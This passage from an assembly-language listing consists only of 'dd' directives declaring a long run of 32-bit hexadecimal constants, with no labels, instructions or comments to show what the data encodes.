0C42592A8h, 9D173EFFh, 725630FCh, 6C275718h dd 0BC2F3B28h, 96F2D704h, 50836728h, 9300DC81h, 80661665h dd 0D51584AEh, 6D415B8h, 36C01E39h, 0BB573B18h, 3D01B8D8h dd 0D93E1C2h, 0EEDC49C9h, 0A7C46831h, 7F6721B6h, 0C4002691h dd 34956860h, 99096AA0h, 27A5FBD5h, 0CDA0AC4Ch, 1E71A3ECh dd 406C18FDh, 0E153B18Dh, 826176BAh, 0EF3374E0h, 427B850h dd 943A00EDh, 96DC2DAFh, 6A0F6EC2h, 0E173134Bh, 5D1E3FC3h dd 124C34FCh, 4E4A9B7h, 1D188C18h, 30F37B89h, 275FDA0h dd 96172D10h, 2440E7E5h, 3D02EEB3h, 56B060EDh, 9490A01Ah dd 98A503h, 26EBE27Dh, 52969EA2h, 2E48F909h, 1D00E19h dd 4C9C01Dh, 0F2282433h, 776C0078h, 0A6BCF7C7h, 24023BD3h dd 0AFFE1CF6h, 0F2B89854h, 0FD31C19Bh, 0EC52D3D6h, 271E9AEFh dd 1D008939h, 936B950Bh, 0AB57125Ah, 0E80458E2h, 0B805F1Ch dd 9CC0A82Fh, 0EF720136h, 438C0CE6h, 32F6FC91h, 0EF83B00h dd 514EB6E5h, 5DF8CAB9h, 0C2FC648Ch, 0D630AF64h, 92E30820h dd 5558BDC6h, 292000CDh, 0D79B221Ah, 0C50EA579h, 3B29EE7h dd 0D411248Eh, 0EFC8B08Bh, 0B74498C0h, 0DD81314Eh, 214CA4A8h dd 18A8A684h, 7480BC11h, 7B6B368h, 0C027448Ch, 8C686C00h dd 2DCAD413h, 0A59613B3h, 1868259Bh, 0DA445820h, 0A412B026h dd 8B079F11h, 0B07440A4h, 2A0F1C8Fh, 8EE81BFAh, 0ABDD21C1h dd 0F17EA740h, 8CA1F6D0h, 0F8B8AEE3h, 0B6E80331h, 0EF59961Bh dd 0C764F870h, 644C8226h, 0B6D4CC0Ch, 0C04116h, 629B0B2Ch dd 0E38E11B3h, 0DCB01F28h, 30C97990h, 243830C4h, 0ABDD4027h dd 0E6A2EB09h, 3C749494h, 7D2AB8B2h, 4CA02FCh, 0B0AB786Fh dd 20C1F8B0h, 0CE92EA10h, 20D9C8E0h, 0AEAA1C01h, 76EB7DF6h dd 0F948CA40h, 160F304Eh, 0ACDA7ED8h, 2A478603h, 41275C12h dd 30CADC19h, 0A63A6861h, 2C22C6B6h, 0F059C13Eh, 7723DB1Dh dd 71BEBB82h, 420EED9h, 91A6B98Dh, 41E490C1h, 0AF02AC98h dd 55F27F7Dh, 8D60C035h dd 4C1280E1h, 0B2F89354h, 338A0491h, 0A98EA0E2h, 4B7900A8h dd 40C0E3h, 0B1EC4183h, 11FB53BAh, 3D57641Ah, 0C8B30A40h dd 0B4914A0Ah, 695D424h, 5044C0ECh, 0DC70C32h, 0F31D4EB8h dd 9D49E5A9h, 0F6975818h, 1F248C43h, 0B2891DF3h, 0BCEA57h dd 1C85802Dh, 99D4C572h, 0B4CC4500h, 7CC1B62Eh, 3E330013h dd 8448E756h, 3A2405CEh, 2C110CAh, 710D532h, 0FE3D4B34h dd 3C4187CDh, 88A02CD7h, 4CF2AC71h, 0DE8F5C94h, 34237FE1h dd 3B0AF053h, 0C664A504h, 2C98E522h, 5C8148D5h, 2798C180h dd 94137D28h, 58007A45h, 44A8878Ah, 70A31246h, 9674022Fh dd 8481EBD5h, 26F112B1h, 40A80FB8h, 1BAF6468h, 0E9278232h dd 9B6740C0h, 0A1A004B7h, 902EF804h, 853D4618h, 6194D103h dd 98FEC62Fh, 0B027B9Dh, 7E897F8Ah, 0D8AC1CB1h, 300125C1h dd 75B77BEAh, 3047B6h, 0A96F8CF4h, 48A76A70h, 0E8408144h dd 5C240B0h, 0AAE5B40Eh, 0AF89C074h, 302353DEh, 0DC298FFBh dd 50003586h, 741C5E9h, 34D6B4h, 0CC38748Ah, 0A98CE5EAh dd 70590A00h, 0A583877Dh, 80BCB944h, 0BD62022Ah, 609B77E9h dd 6D58943Ch, 267638B4h, 0E8C0B460h, 466AD7D0h, 0E722E4h dd 32D0F0A1h, 9AF2D437h, 535D907h, 9E4313E1h, 12B9718Ch dd 0F31A75Fh, 61896078h, 8ECC8AAh, 0B60289DBh, 0C5E805AEh dd 9FA1728h, 0A040E460h, 7217D78Ah, 283A5539h, 23002923h dd 4A0B0E16h, 0D8640302h, 0C1D1B97Bh, 905687A0h, 0C7780548h dd 1AABF4BAh, 0DAD460B0h, 0D4DB5C88h, 2C0ADE02h, 0DC407182h dd 4941494h, 0E5856591h, 0CCF2C2D0h, 9C600451h, 154D0EDh dd 0A2962CEh, 284DFCE2h, 0F2CB80B0h, 0C5EC44h, 66E66C39h dd 72419B37h, 43881400h, 2598B6FEh, 80166404h, 0DF1CD8A8h dd 0BC9C7758h, 96008CE6h, 0A574508Dh, 1A66F71h, 0F7DC89F6h dd 70351BB8h, 54BB1290h, 9D009A11h, 710462B3h, 5B00DC4Ah dd 0E4505CF8h, 2530D457h, 0F4102642h, 0A4A08DB8h, 0F5124EB9h dd 8443C11h, 0DD0116A7h, 29022D54h, 63D099D4h, 0D00AE718h dd 0B0FC6AC2h, 3FEFD270h, 9D8015D0h, 0A45DD3E6h, 5C181159h dd 0D7681BB3h, 8BD001BCh, 2D760F40h, 4AD42C25h, 4AD5E838h dd 377C417Eh, 803CE976h, 0B76A6F31h, 6FBEA2DEh, 0D0183880h dd 168018B3h, 0BB4D309Eh, 54442BC8h, 0FA58A3Eh, 5C1F23FFh dd 0DA165424h, 108F281Fh, 6CC65C35h, 5C401AFFh, 0B123ACEFh dd 0E920C001h, 2518D692h, 0CF4F88h, 5BBA4520h, 338AD904h dd 3700F0B1h, 0A2AF36A4h, 0D9808D7h, 0A8162950h, 97B1B00Bh dd 2C6BB60h, 1F4C11CFh, 4ED4C43Bh, 0A7984032h, 8AEB4ACh dd 8EE88D0Eh, 73B6C405h, 4993F206h, 0E96EDB01h, 0B80B08E7h dd 4BE41DE0h, 0FABC4417h, 0A471038Dh, 7072C156h, 0DC225C72h dd 75AA4505h, 0D881895Bh, 3301CA95h, 2F2180D6h, 5FA149EAh dd 0DE121266h, 4A616FDh, 23877A8h, 720D94E9h, 8AEB1214h dd 9894836Ah, 8F5956A8h, 3B457518h, 0E4CE1220h, 6F442628h dd 7EFF8170h, 9FF0A282h, 0E82E1830h, 0ED96BA83h, 269004B7h dd 80C02A64h, 0D7DF4400h, 4E81790Bh, 0ABACA059h, 29632D8Eh dd 0C22019D8h, 0B930C337h, 84B05888h, 8C96BCh, 94F9B34Bh dd 0B5E3D1A3h, 587C0A74h, 1DB49813h, 0C2601889h, 303B3054h dd 6D911FE8h, 8415A128h, 4AD7B300h, 92B12BA3h, 2412475h dd 348252A4h, 147338BCh, 104ACA4h, 0B7019AC0h, 8FF26DC6h dd 5F58DBE8h, 8328F41Ah, 9C3AE2C4h, 16830880h, 0AADC8089h dd 3BA06E49h, 191E30C1h, 0B96FA86Bh, 0C6B202B4h, 0AC48DF9Bh dd 0D8A8E744h, 7CB194EDh, 618EFD9h, 4EB78605h, 0CC42D5B9h dd 116355Ch, 0D09F0B80h, 0E0309634h, 182B3811h, 331DFCC5h dd 13C83B3Eh, 6C785126h, 7EC465Eh, 0F2089690h, 8080E84Ah dd 5752AD3Dh, 8A4009E1h, 2C015DB4h, 3C106Dh, 9ACBBAD5h dd 1E113E10h, 610E1C59h, 0D480B083h, 5F94933Dh, 99C1B59h dd 2AED9E1Ch, 45BD74A4h, 54325C21h, 0DB485902h, 6050C01Dh dd 0D8C191D3h, 0C8409FB2h, 4A262775h, 485258h, 0A9801BFDh dd 4B004C3Eh, 9E02B7Eh, 3F34090h, 0BA7FA0BFh, 31001856h dd 0DDDF274Bh, 19888F4h, 0B3462B5Fh, 243D9E0Eh, 1E03AD9Ch dd 621F243Ch, 60C0503Bh, 89904122h, 6D70FFD1h, 674C6058h dd 0A475E056h, 0C1079BFEh, 84D4BC74h, 7F2080ABh, 17698CEAh dd 10A14E80h, 2B88B880h, 9820F193h, 2F947Fh, 44E669F5h dd 9CD45B48h, 0E4B95D00h, 21DBD78Bh, 27DC4B79h, 4E161150h dd 5C20EA91h, 0B3FEFE9h, 90F68AD1h, 489E544Eh, 13200DCh dd 755E6264h, 0AC098E25h, 26BC048h, 5B33A798h, 0FD2B8078h dd 0F95A9345h, 1FB03654h, 88D9D800h, 0A507BDACh, 0AA0F30D7h dd 0C44C53F8h, 6070C026h, 9DA5A31Eh, 812991E8h, 6D354E5Eh dd 387CD7E8h, 8AB24788h, 2860F050h, 0E541DE32h, 0FC4F5860h dd 704187Fh, 0D815C0BDh, 2C441280h, 8BB034CFh, 0F882BEC5h dd 8442AAB8h, 21796471h, 9A078818h, 224EB70h, 0D9D9A3C2h dd 18297158h, 105500ACh, 2776F89Bh, 9A261ABDh, 0C60830D4h dd 92EF038Ch, 0D0EC3C15h, 0AB1EAEB4h, 0FCBD7380h, 1250057h dd 28694D59h, 0F248341Fh, 0C3D98E40h, 0F803BD37h, 0ADDA47h dd 0E04650C3h, 2E8A2B52h, 80967D28h, 99C380ECh, 78B110D9h dd 49B36008h, 0DBB542Bh, 63989C50h, 106CA425h, 231496E8h dd 0FC813513h, 8EA50C7Bh, 0C83CABD9h, 95962C52h, 0B6B60E18h dd 6C745E96h, 31131840h, 0F618328Ah, 0D5A00D21h, 34574980h dd 2016973Dh, 3A402731h, 6D9285E8h, 93DC9065h, 8D163367h dd 0F804F0FEh, 0E0A43954h, 2324359h, 6AC0D0E9h, 10BB31ECh dd 0D0F1A0h, 0DB36F6A1h, 5434D791h, 2DF9430Ah, 88169C8Ah dd 9A56A04h, 8262D083h, 3897291Dh, 3C81ED11h, 0E1A320D1h dd 42C296Ch, 0C8499EB8h, 2CDD84E4h, 0E683C98h, 5F12924h dd 8BCA8ACBh, 8975C491h, 0E5788EC2h, 0B8062210h, 1F08407Ah dd 954858BDh, 0A7AC54ABh, 5C0A170Eh, 0E0B24A25h, 0F5AEB682h dd 77ECC9DEh, 2C486CC1h, 0CBD008E4h, 0EEC4C46Ah, 0D0EC9D40h dd 330047CEh, 458FEB04h, 0A1DFBDA5h, 7C76F07Ch, 73403D7Eh dd 581687A5h, 40ACCC03h, 38F03223h, 378F0761h, 2CA79D66h dd 0EE40D073h, 16E6CE99h, 84010CE0h, 0BAE2AB8Bh, 2465A99Bh dd 21B8D878h, 6150008Ch, 1B4AB15Fh, 0AEFC5984h, 34428C4Bh dd 581E895Eh, 627C0A28h, 16C44A1Fh, 0F98430ADh, 5E3B2160h dd 89A53C2Ah, 1B21CD7h, 735FAACCh, 1F0FA02Ch, 0B681CB6Ah dd 0D8259Eh, 57419CAh, 1EB728EDh, 5AF04470h, 0D0E63032h dd 0F46A2EC1h, 0EED3707Ch, 2C34D001h, 79A25435h, 38CDC5C0h dd 10CD7791h, 23602E5Eh, 44A30322h, 67A8B8A1h, 0BE30BAE0h dd 4F93F85Ch, 940214FFh, 712490D0h, 0B2D985A0h, 639C40A6h dd 24375412h, 1944F8C9h, 2022330Ch, 7BD46700h, 4CE4404Dh dd 12B70200h, 0AA24AD9Ch, 0F9D7B59h, 559BBBB1h, 691F99D8h dd 4860C21Eh, 0B35F183Eh, 5AC6BA19h, 26C0016Dh, 2101AA4Ch dd 0A2F42370h, 86C1322Dh, 479420D7h, 0F024B556h, 0B0D8BCEFh dd 0CB920778h, 83A7182Ah, 504CD7F9h, 115A0908h, 72380243h dd 7C0909A8h, 0BAE45CC7h, 0D339AE60h, 56060D16h, 0A05560C2h dd 0EAB359D0h, 5C588270h, 0C1ECB816h, 8095B008h, 0DDA052C6h dd 0F4013C0Ah, 0C19F7874h dd 0B82DF682h, 96268C40h, 84868C18h, 0A9207519h, 78A24D29h dd 0CE06613Dh, 70FE34A3h, 0A840D0D8h, 0B2D58001h, 0F1898C9Ch dd 8F04A799h, 1B3540A0h, 4831007Dh, 0EF762853h, 6B0C3F7Ah dd 3077BD65h, 0B493888Ch, 949B1F02h, 0C4C544C8h, 41D89C70h dd 0C80F588Ch, 5F002EF4h, 70278051h, 0A9F59DCh, 9ACA6FF1h dd 3B6808BCh, 465CC04Ah, 467900E8h, 93FB8D7Fh, 0CCF13456h dd 0F0B221h, 450AF9B7h, 5024F6FDh, 14D10C1Fh, 0A4A7EE82h dd 53106204h, 0E268E347h, 72903F72h, 245457BCh, 950FCBD8h dd 791FA36h, 0D6A07E39h, 5782383h, 0D8B97DB5h, 0C8008BB0h dd 0C727C08Dh, 5315B8B3h, 90EA32h, 8C79011Bh, 0B88E9C20h dd 0E6BF4438h, 0E8121DE4h, 0DCC81838h, 0C432490Bh, 94CB037Eh dd 6B56DB2Eh, 799F55E8h, 7F962B00h, 7BCF7DF4h, 5B0B1763h dd 0F37C04E4h, 0F0B73822h, 0B39CA8BDh, 5697C2Eh, 5E8E136Bh dd 4C48A781h, 80BC5014h, 85941A48h, 0C8D5AECCh, 8C4878F3h dd 205E5Fh, 1018CC52h, 9627B5FBh, 0DB8C0030h, 279D7404h dd 0B401F91Dh, 21CB817Ch, 8082E295h, 5303350h, 66E4FAEh dd 19A436CCh, 3ADB280Ch, 4FBB9A80h, 8AF40962h, 10A6C011h dd 0D2575Eh, 75DC2894h, 93C154ECh, 34200C5Fh, 52131Ch dd 90F30E59h, 0E3AF649Eh, 0F235151Fh, 0FF097642h, 385C401Ch dd 7EC9196h, 3C0F4410h, 4B2556F8h, 500C2281h, 10787238h dd 88D9A5BAh, 0B9F0808Eh, 96B37B90h, 355C10F6h, 8C82EC30h dd 2EE7D00h, 6B86B5E9h, 71BE608Bh, 2F541063h, 2BA02B6Fh dd 46B8848Ah, 0C840CA25h, 3C53C0E7h, 0A400AD20h, 0CFC390EEh dd 289EBA07h, 25F8E215h, 0D4404D94h, 1301EFB2h, 73E5DF3Ch dd 74602A10h, 7B472488h, 0C9FD6214h, 41221002h, 84514548h dd 90625794h, 0B1238E00h, 0C4F48205h, 165DEA12h, 6053380Bh dd 244EB86Ch, 8E6CE5B1h, 603B2F6Ch, 0EF9DA6E0h, 468D989Eh dd 29F03106h, 18B1DFC0h, 0AEBA693Eh, 8B4F171h, 8A36B385h dd 1E32A401h, 802D14C8h, 4C738610h, 7A1E6910h, 0AD9B24B0h dd 0A7F20988h, 61E0FC93h, 6550B51Dh, 1A24B8C0h, 0D609ACE7h dd 0B7C034Ah, 0CE81073Ch, 1443E6h, 0BA35D56Dh, 0A1DB2A04h dd 68901E57h, 7CD079A8h, 7796004Ah, 0F206929Dh, 0E7E1721h dd 0C0208B97h, 480C12C4h, 0DA4A2836h, 37CCC010h, 2E27F7Dh dd 32F1045Fh, 0DC68EC26h, 0F091457Bh, 40A2B192h, 0D307CE2h dd 55ED24F6h, 59641894h, 8D5EB97Ch, 2C289808h, 383CDE50h dd 27332F8Bh, 13B05A08h, 7E15792Dh, 7FAC00C1h, 0E9A58DE5h dd 73889DF2h, 5CB07DE1h, 82101CF9h, 75187CAEh, 59A03789h dd 0D45A4C76h, 4640EF10h, 56B705B4h, 78CCD283h, 6B314030h dd 7C644EF8h, 54A8F218h, 5CADFE80h, 0B61A9B5Eh, 3D481696h dd 6B220FA8h, 90E4A02Bh, 0F1617200h, 0C84F6074h, 248F007Eh dd 0E6692568h, 6E793A11h, 7B204492h, 7A93024Bh, 35D938F5h dd 33D71C68h, 0F988FC96h, 0F0BC28B4h, 54348006h, 0A3596705h dd 7C629FD2h, 71BC5978h, 98D418E9h, 18427827h, 882255D8h dd 0F49C8ADBh, 7A940E95h, 0A280B160h, 4146A356h, 0E05CA06Ch dd 5EC45849h, 2623642Fh, 0DABB2802h, 0D6B05477h, 4F76421Eh dd 7E660A80h, 721BACF3h, 0B19CACB7h, 0A3C88038h, 0FBB7074Fh dd 93A27500h, 0A492AE78h, 82B90C8Ah, 61D89886h, 0F76C121Eh dd 1051B0ECh, 5D303F1h, 6E32EE18h, 0A58CB011h, 170298A1h dd 34812EB5h, 10830FACh, 435F82Ah, 0AEFF390h, 59F74907h dd 8EA2CC85h, 0ACA0999Bh, 2004D518h, 0BF2E92E6h, 54202232h dd 12C20CCh, 69A936CBh, 9F132EAh, 4510DCh, 0E7DE825Bh dd 90DBD16Fh, 8515BC00h, 913CF6D0h, 43A812BBh, 0F243293h dd 0E1B9E0E0h, 0F4F182h, 0C71D74F3h, 782EED19h, 211148B3h dd 205C2406h, 0FB2408F0h, 6261D447h, 0EEC8BB30h, 0DAAE1704h dd 0C018878Fh, 1D92130Bh, 0A24B5725h, 98E32FCh, 640054F1h dd 19DEBFE9h, 0C690037Ch, 283FB472h, 0F0744F8h, 20E4C4A1h dd 4A41B8ACh, 9760303Bh, 61401025h, 38EC04A2h, 0CB0F4D76h dd 0E33218DCh, 0F0D340E9h, 4FD148B8h, 0EB280907h, 0CD2BD0F9h dd 13553E0Ch, 5292DB64h, 831AA4C1h, 57197949h, 99810023h dd 8C6F5ECEh, 0D90135B0h, 841185F3h, 0D8ED5C6Eh, 2316A06Dh dd 1F84A20Ch, 2325568Bh, 7C4DF308h, 0FC54D5D8h, 3CEC6324h dd 98A6EE15h, 0EC009922h, 6F2D4E94h, 1EE3F514h, 0C0705C67h dd 7A171B72h, 8A2CC0EFh, 6889B4C6h, 2FE002CAh, 20C0649Ch dd 0A225254Dh, 0C4C4C5D9h, 8BEF6028h, 3A550131h, 0D4E4F18Eh dd 17C848BDh, 3C382610h, 0CF4AD060h, 0B10052FBh, 3D53EC30h dd 72A4A0h, 0CA01052Eh, 59452110h, 6A3B300h, 0B2BB050h dd 9CEA00D0h, 0A6325A05h, 3E74D3F7h, 28BD20C7h, 184837D6h dd 1843B80Dh, 0CC00E2D7h, 233255D5h, 33ABF48h, 4150F0ABh dd 5800D421h, 5E0A3DA6h, 0F59D22Bh, 0CB71ECF1h, 52F8A0C0h dd 7230B7B0h, 59062833h, 91AF60BBh, 3C73702Dh, 0B2DB50C0h dd 15BFFD8h, 1D3FB732h, 8CE28F96h, 69E30D28h, 601EEA6Dh dd 20BBF8A8h, 3A1F034Dh, 5A0D7BA0h, 8CC018B4h, 97A23906h dd 0A8C66960h, 2D1C110Dh, 254C3481h, 0CCB208B1h, 73F26021h dd 0FF782A0Ah, 0C51C4840h, 16250F20h, 0ED411A13h, 0D3DD11A0h dd 43D8B4B8h, 0BC985B51h, 51419D8h, 2008EDB1h, 73D238h dd 77FAE283h, 0A09EF1D3h, 75A6168Ch, 503340B5h, 20ED7DE2h dd 0D20C6911h, 8622F54h, 6F21C046h, 16863375h, 0C98CB200h dd 0DB7A0C4Dh, 0F8A0619Ah, 9FE42C41h, 3C19F779h, 0B8499739h dd 0FAA1D2DCh, 0F7621868h, 0CD102158h, 348F4118h, 0ACB259F8h dd 318720D0h, 0D0B66F06h, 0CF05993h, 9F60D379h, 2819B7C8h dd 0B618502Ch, 0FE279C41h, 0A7B8000h, 7018FF7Fh, 9484EB7h dd 6A824C2h, 47003D28h, 7DE42F21h, 0B50073CDh, 9BDBC990h dd 2B1D107Ah, 1890A4A6h, 71B60C7Ch, 484490ACh, 33741E6Eh dd 79440559h, 47D00486h, 36834453h, 561F6081h, 0B6BD2410h dd 0E5BC9D02h, 49381D3Ch, 0DCF9B278h, 66682900h, 0B8C0A8FEh dd 0CD9E7A84h, 0DBF430EAh, 6182A620h, 3E5373E0h, 0E0578420h dd 0D1569D60h, 9866D730h, 0A4B959ACh, 2B2500B8h, 0D252C2EBh dd 8F02EFD5h, 0D92E217Bh, 9774484Ch, 8512037Eh, 0A5C0D4F7h dd 6EC03878h, 0BC38B6A3h, 20D0A43Dh, 29E0904Fh, 0A8AB701Bh dd 20BAF088h, 50016587h, 23C860B6h, 720C5C31h, 4838B020h dd 1E8DB8B2h, 85E253BEh, 455F3D0h, 0D35D3A30h, 28C2F540h dd 0E8842CB1h, 0A254B870h, 245E53Ch, 0F7D4A401h, 0E8905808h dd 1B41AF64h, 52D6F093h, 76832C50h, 0A6E3E307h, 0E1B58000h dd 0BCBB2DF4h, 2B50C3EFh, 88942748h, 0E0417838h, 8C9F0C20h dd 110D9D3Dh, 0BE88B92Dh, 0DB56580h, 97F08AFh, 7C0B455h dd 419CB027h, 80F20E05h, 74A5E611h, 0CAC6D7Ah, 9485A253h dd 21C0EC08h, 0B5749DB3h, 0D6E6044Ch, 81E89908h, 0D8D0FF7Ch dd 20F571D8h, 344D7388h, 0B2110694h, 8AB8CE7Ch, 7AA440F4h dd 0BEC68853h, 7D871A14h, 32910ACh, 973B4406h, 5CD13162h dd 243BDDB4h, 40A49859h, 788EA011h, 11B6AAC1h, 88440CD1h dd 33326FF2h, 0A0EE7075h, 80CF90E4h, 0F7BE18A8h, 9ABD2936h dd 96D37812h, 20B74042h, 0D51881E9h, 54320CA6h, 5F98091Fh dd 0F0EE003Bh, 3DE37432h dd 80A4BF4h, 6003542Bh, 224ED3C2h, 3840072Fh, 0C7B0CDE9h dd 6147DD39h, 5AF04230h, 1060D411h, 903ADF41h, 0F9482014h dd 5FC00D14h, 10FE8FE8h, 7B7482DEh, 0DD31A46Dh, 749EB410h dd 0D3B97617h, 0F75C2B1Fh, 980A155h, 2636BD8h, 60107B94h dd 8053C79Ch, 0EA4DCB73h, 11B009D8h, 412894FCh, 0E7388467h dd 0C4C8EDF1h, 0DB564043h, 3CBBCA2Ch, 22A73201h, 6C3207A5h dd 2021BF88h, 0C068ACE7h, 3AAF602Bh, 24E35780h, 8FA4F1F8h dd 7FA27645h, 3C484D0Eh, 0E31F1130h, 0C2C1D7A5h, 0C1F3CFF2h dd 218063D1h, 7AE30891h, 2C1BFDBCh, 0F1599340h, 94606717h dd 46C490B0h, 0DAB029Dh, 31A92D0Ch, 0A36310B9h, 5E6E1C0Dh dd 722E0326h, 43E84581h, 9639CF8Fh, 0EAD7848Eh, 0F488D428h dd 4BA18D5h, 858010F4h, 9FA41F0Bh, 2474A29Bh, 24070956h dd 183118BAh, 710059ECh, 212A4010h, 7B0CF8FCh, 28C7CEDBh dd 372B2612h, 594517F4h, 48A17010h, 0D08A768h, 0C4892D10h dd 9F6F40BBh, 542F0Dh, 30A06437h, 0EBBC2A0Ah, 1CF54218h dd 81532271h, 0B89CE116h, 0C63220B9h, 51AB9710h, 86A35600h dd 0BDFB413h, 7DCC280Eh, 45FC90DCh, 7410958Ah, 0E3829CE4h dd 3103D7AAh, 0FD8E1068h, 3CF17CE2h, 0A0054612h, 77B704h dd 0F6BC7220h, 0AE1876ABh, 0D4080C2Bh, 69CD80DFh, 538EB49h dd 0F7A4B078h, 20DD5480h, 669CB927h, 8606C9CBh, 0BD62EB7Bh dd 0E93009F8h, 38826F49h, 8C080308h, 0CCCAA08h, 0D396797h dd 1B00D4A4h, 0DBD4CB53h, 588F0147h, 0F2101C03h, 0B58601FFh dd 0F584C33Fh, 30870C20h, 0C8D1640Eh, 5F00146Fh, 2AED233Eh dd 874D4Bh, 0B696C303h, 0AC46A707h, 0B335A906h, 440C49Ch dd 0FFA0A57Eh, 0C8688B8Bh, 0A530C0BAh, 0D4012D47h, 0EDC2C719h dd 0C980F50Ch, 8B2AC575h, 553A9A68h, 0E8730056h, 0FFD793CAh dd 0C3061313h, 0BDB042CFh, 74C108F6h, 0B7482429h, 0D9CF857Ch dd 407C89D5h, 2061A3E0h, 0D32E3DC7h, 391AA5EFh, 70108429h dd 0F4E30A61h, 448C23D7h, 1009262h, 664CABE3h, 6EF7682Dh dd 0F38B58AEh, 38B75820h, 0F4A05DACh, 80E3D36Dh, 132512B1h dd 2EA69F1Ah, 9710B440h, 50A047F7h, 8FCA6008h, 52904C02h dd 9A39E25h, 0BB5402ECh, 0B2A70050h, 0D34AF5E5h, 0ED7428h dd 869087C6h, 0CB3F761Fh, 4F606172h, 0A0E2D738h, 586896CDh dd 6D88E922h, 0AE2A25C3h, 6040348Ah, 0FD718F3Dh, 44F7B216h dd 20354460h, 447CB01Ch, 21745F84h, 8C125C4Ah, 0F01C4804h dd 246DB705h, 0FC2481D0h, 0A7188FDDh, 12887540h, 0DCC8C159h dd 3DF0A136h, 220B8517h, 59215EE0h, 31A1AA2Eh, 30343E30h dd 2004D4A9h, 6CEAD5B8h, 9898C34Ch, 0A2ED3888h, 73088408h dd 0A9E30D60h, 110BD723h, 48D006Ch, 2F55EBE3h, 6A3600F9h dd 70649D93h, 81C0B596h, 86EE2DE1h, 0FD090FACh, 0FAAF7703h dd 794C2F60h, 0F00D817h, 0A5CCABE6h, 0A041E209h, 5C474878h dd 709DE835h, 9779CB19h, 88686049h, 68467E30h, 79126402h dd 409011B9h, 0FA042726h, 4E0430AFh, 51C2C0C9h, 74A88100h dd 18946D7Dh, 0A0C688EBh, 0FD97400h, 569F15BAh, 2C8105CAh dd 22502F48h, 70223460h, 2B9C9097h, 0F32A000Dh, 0E58995C3h dd 9D03A876h, 237992B7h, 4348F0C7h, 4348DF61h, 369BD8B6h dd 84A5A828h, 36A3E881h, 0DA90250h, 31992D0Ah, 0A16110BFh dd 2A4A000Dh, 0D9561826h, 50C2575Fh, 9FAFD08Eh, 826411B0h dd 4940F703h, 0BDE83048h, 16F0002Bh, 1984F27h, 0FE00F98Bh dd 0B74D9B9Dh, 0A4521BD0h, 28D8F0B8h, 800866ABh, 7859CDC7h dd 1B9D3B2h, 551C21F4h, 46BC508Eh, 349884D6h, 1726C44h dd 0D964ED2Eh, 579030B0h, 86CF40E8h, 0F83028DEh, 0DF73A139h dd 0C3F403A5h, 7957946Eh, 53D0DBC0h, 0A63A2B04h, 0B0809DB4h dd 81F18FB3h, 0C5E3F8DCh, 86E81E75h, 0B10964B2h, 87507B20h dd 1AC30520h, 901848C2h, 913E7412h, 30A5B50Ch, 72FAAE1Ch dd 88345630h, 2CF9AFC7h, 4847CC1h, 0A60D0366h, 0A97BF358h dd 78FC673Dh, 0B67F0909h, 1493576Fh, 2621A2BAh, 70849C23h dd 440CF903h, 0AA300E02h, 6D238774h, 72DF1184h, 240974F4h dd 23054E8h, 253807E0h, 9D748C7Fh, 1295CB07h, 0E9505A85h dd 3F1B962Eh, 0FD067017h, 0A1510CE0h, 0E78F1203h, 0E716673h dd 7B82EF30h, 39561020h, 0B094369Ch, 0F2FD47D4h, 0D8D17FDh dd 94D4F1F8h, 191500E8h, 0A0120B09h, 3BF4F1F9h, 0F7A8CF00h dd 266CDC68h, 0BCB20130h, 66D3F3E5h, 18D092A2h, 84C1A094h dd 130547A7h, 0F70804C4h, 615C9035h, 1E396F52h, 38970511h dd 4928B8Fh, 580B18A0h, 280AA899h, 142490EAh, 2BD4674h dd 886F9464h, 10DC8171h, 182120B6h, 0CF22FC32h, 0A3A61613h dd 0EC7B388Ch, 79B627A5h, 0F500E896h, 0E25F3372h, 0A27F22h dd 0C32B2511h, 4F078E66h, 941F414Ah, 0B525C250h, 145F2C39h dd 57679805h, 8B98ECA4h, 42C249C3h, 12FA5CE9h, 0A0A88112h dd 41A6B797h, 20420058h, 717A371h, 88620F00h, 0D71CADFAh dd 0EB5825EAh, 0A39D2804h, 742F4A38h, 7000BC23h, 99D9CB6Ch dd 0C6EA00AAh, 9E072177h, 850F7FFFh, 126717F6h, 782F0088h dd 7CC7EEE5h, 0C6E374C4h, 59AC9819h, 53BC6D00h, 7788B472h dd 0F5EF0B5Fh, 609831D8h, 0B17CA39h, 413AC63h, 79C37C20h dd 90BAFFh, 2DEBBC72h, 0FBAA2AD3h, 0C42430B9h, 0B4E4951Ch dd 0BC961C20h, 0CA4C008h, 4889AD98h, 0D3B5D00h, 0DE95AB12h dd 0F1150FDBh, 9C1416B7h, 0AFD2310h, 0D83B682Dh, 2FCA094h dd 8B9A2136h, 0ECE06005h, 0B0A40B9Fh, 0CCA950D0h, 0EC11881Dh dd 0EADCFA80h, 0BB2C108Ah, 69180807h, 4EC30551h, 0B10C0AEEh dd 0E3CD8334h, 1958A8DAh, 0D882D208h, 0A71801C8h, 0A5D420F4h dd 5EDF6110h, 58C2D504h, 883CA3DEh, 742CACC1h, 0BB00E246h dd 9C63C990h, 8A25D3FCh, 0FE5C38B7h, 46CB1F7h, 0A277F2BDh dd 62F10154h, 7619A2CBh, 0A4FF8095h, 7C74A781h, 0F467F66Dh dd 749FC500h, 181DB1A4h, 19EF0D01h, 8B0AECF8h, 0A0611C48h dd 94406411h, 0E6A0A8D6h, 163302AEh, 0E860A763h, 0F1127C52h dd 18C87CA6h, 0BE207CB7h, 887C284Ch, 4048280Ch, 0E3146D62h dd 8DCCCCBEh, 5C337161h, 8833E0A2h, 9C96EA2Dh, 715281B0h dd 0D3413CFFh, 0C9BA31C8h, 9825D573h, 44DC09F6h, 8DCF0064h dd 2134F1E0h, 33267953h, 9442B43Bh, 8700AF3h, 0F701B05Fh dd 9069F9Ch, 9E9428h, 49A0631Fh, 9D01A9E1h, 0DE4734BBh dd 91E999F9h, 60FB6870h, 0DA7871AEh, 41E3579Ch, 623D13A4h dd 0D0BB720Ch, 9CE30802h, 51CCE2D7h, 0FF9040E8h, 0E0008CE2h dd 187B8FD4h, 51D820BCh, 0C5BB035h, 0B3ACEC7h, 47702002h dd 3D201072h, 0D88C0FA6h, 0FD40C075h, 0A2655C8h, 0EF1EBC00h dd 3E565907h, 786CE90Dh, 0A95F0E18h, 0CC009FA8h, 89741BFCh dd 0F482E0h, 0F14F8777h, 0B68C52C2h, 67603071h, 0E2DBACB8h dd 42C9A43h, 1EEB6D86h, 0B61480BBh, 3C989497h, 3C21DED2h dd 54723D3Fh, 429B991Fh, 5D0BD157h, 0FA2018D2h, 5EA0B456h dd 13004946h, 72C921AEh, 0F34ABAE5h, 63FD880h, 0FC920DBCh dd 41A182EBh, 3DB30CE0h, 0AB5A177Ch, 0D341B897h, 4447A9C2h dd 72B55912h, 